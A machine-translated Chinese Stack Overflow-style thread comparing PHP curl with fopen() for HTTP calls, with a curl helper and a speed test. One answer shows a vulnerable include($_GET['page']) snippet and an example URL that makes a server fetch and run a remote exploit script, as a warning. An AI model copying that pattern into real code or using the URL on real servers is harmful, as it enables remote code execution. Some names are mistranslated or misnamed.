我正在编写一些需要通过HTTP与Web服务通信的代码。在过去,我使用过curl库。最近,我注意到我可以简单地使用fopen()来访问远程URL,这似乎更简单。
Curl似乎更具可配置性,拥有众多选项。除了可配置性之外,使用哪种方法是否重要?如果是这样,哪个更好,为什么?
答案 0 :(得分:15)
正如Alnitak所说,使用CURL并不依赖于PHP设置。 我做了一些速度测试
file_get_contents
与我的
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
结果:
0.263456821442
0.0626730918884
CURL快4倍:)
答案 1 :(得分:14)
fopen()
只会在allow_fopen_url
启用php.ini
时打开远程网址。
然而,在5.2.0之前的版本中,这非常危险,因为include
功能还会从远程站点下载并解析 PHP代码。一个天真的编码器很容易被代码抓住:
<?php
$page = $_GET['page'];
include($page);
?>
此时攻击者只需要http://example.com/script.php?page=http://example.net/my_exploit_script
在系统上执行自己的代码并引入漏洞。不幸的是,allow_fopen_url
的默认值是'on'。
幸运的是,自5.2.0以来,有一个单独的设置( 默认为'off'),名为allow_url_include
,阻止include
下载远程代码。
就个人而言,如果您可以选择使用Curl,请使用而不是fopen
。
答案 2 :(得分:5)
旁注:PHP可以配置为使用curl作为http url_wrapper,而不是使用“自己的”实现。
转/卷曲/ interface.c:
#ifdef PHP_CURL_URL_WRAPPERS # if HAVE_CURL_VERSION_INFO { curl_version_info_data *info = curl_version_info(CURLVERSION_NOW); char **p = (char **)info->protocols; while (*p != NULL) { php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); } } # else php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); # endif #endif